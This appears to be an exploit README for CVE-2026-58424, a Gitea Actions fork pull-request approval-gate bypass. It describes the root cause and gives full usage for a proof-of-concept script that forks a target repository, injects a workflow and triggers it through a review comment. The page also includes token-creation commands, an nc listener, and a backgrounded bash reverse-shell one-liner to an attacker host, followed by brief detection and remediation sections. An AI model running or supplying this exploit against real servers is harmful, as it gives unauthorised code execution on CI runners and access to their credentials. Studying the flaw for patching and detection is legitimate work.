## https://sploitus.com/exploit?id=53B6B9C6-5A4C-57DB-913E-E9A91C88A5D2
# CVE-2026-58424 - Gitea Fork PR Workflow Approval Gate Bypass
> **Severity:** High (CVSS 8.9)
> **Affected:** Gitea โค 1.26.2
> **Fixed in:** Gitea 1.26.3
> **Advisory:** [GHSA-777r-4v59-6486](https://github.com/go-gitea/gitea/security/advisories/GHSA-777r-4v59-6486)
---
## Vulnerability Description
Gitea Actions enforces an approval gate on workflow runs triggered by fork pull requests. The gate is implemented in `ifNeedApproval()` and is intended to prevent untrusted contributors from executing arbitrary code via CI pipelines.
The flaw is that `ifNeedApproval()` is only correctly applied to the `pull_request` event. Each event type listed in a workflow's `on:` block produces an independent `ActionRun` object with its own approval check. When an attacker widens the `on:` block to include events like `pull_request_review`, `issue_comment`, or `pull_request_review_comment`, those runs are dispatched without going through the approval gate.
Triggering any of these unguarded events - for example, posting a PR review comment - immediately starts the workflow run as the runner's service account, with no maintainer approval required.
---
## Root Cause
The `ifNeedApproval()` function checks approval based on `(repo_id, trigger_user_id)` for the `pull_request` event, but does not apply this check consistently across all triggerable event types.
**Vulnerable path:**
```
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
```
---
## Requirements
| Requirement | Detail |
|---|---|
| Gitea account | Any authenticated user with fork permission |
| Target repo | Gitea Actions must be enabled |
| Runner | `act_runner` must be online and registered |
| Network | Attacker host must be reachable from the runner |
---
## PoC Usage
### Installation
```bash
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
```
### Auth Mode 1 - API Token
**Via browser:** `Settings -> Applications -> Generate Token`
Scopes needed: repository write + issue write.
**Via API:**
```bash
curl -s -X POST http://gitea.example.com:3000/api/v1/users//tokens \
-u ":" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
```
**Run:**
```bash
python3 poc.py \
--url http://gitea.example.com:3000 \
--token \
--target-owner \
--target-repo \
--lhost \
--lport 4444
```
### Auth Mode 2 - Kerberos/Negotiate
For Gitea instances that only accept Kerberos/SPNEGO (Active Directory environments with SSPI enforced). Must run from a domain-joined host with a valid TGT.
```bash
kinit user@DOMAIN.LOCAL
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner \
--target-repo \
--lhost \
--lport 4444
```
If DNS resolution fails, configure `/etc/krb5.conf`:
```ini
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc =
admin_server =
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
```
### All Options
```
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: -)
--workflow-name Custom workflow filename (default: ci-.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
```
### Listener
```bash
nc -lvnp 4444
```
---
## Attack Flow
```
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
```
---
## Runner Lifecycle Note
By default `act_runner` is single-worker. If the reverse shell step does not exit cleanly, the runner stays in "running" state and ignores new jobs.
To avoid this, background the shell:
```yaml
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
```
Or use `--custom-payload` to pass a daemonized one-liner directly.
---
## Detection
- `ActionRun` entries with `event=pull_request_review` or `event=issue_comment` originating from fork PRs
- Workflow files in fork repos containing `pull_request_review` triggers with shell execution steps
- Unexpected outbound connections from the runner host after PR review activity
---
## Remediation
| Action | Detail |
|---|---|
| Upgrade | Gitea 1.26.3+ patches this issue |
| Workaround | Disable Gitea Actions on repos with untrusted contributors |
| Audit | Review fork PRs and associated workflow runs for unexpected executions |
| Restrict | Limit fork permissions to trusted users |
---
## References
- [GHSA-777r-4v59-6486](https://github.com/go-gitea/gitea/security/advisories/GHSA-777r-4v59-6486)
- [NVD - CVE-2026-58424](https://nvd.nist.gov/vuln/detail/CVE-2026-58424)
---
## Disclaimer
For authorized security testing and research only. Do not use against systems without explicit written permission.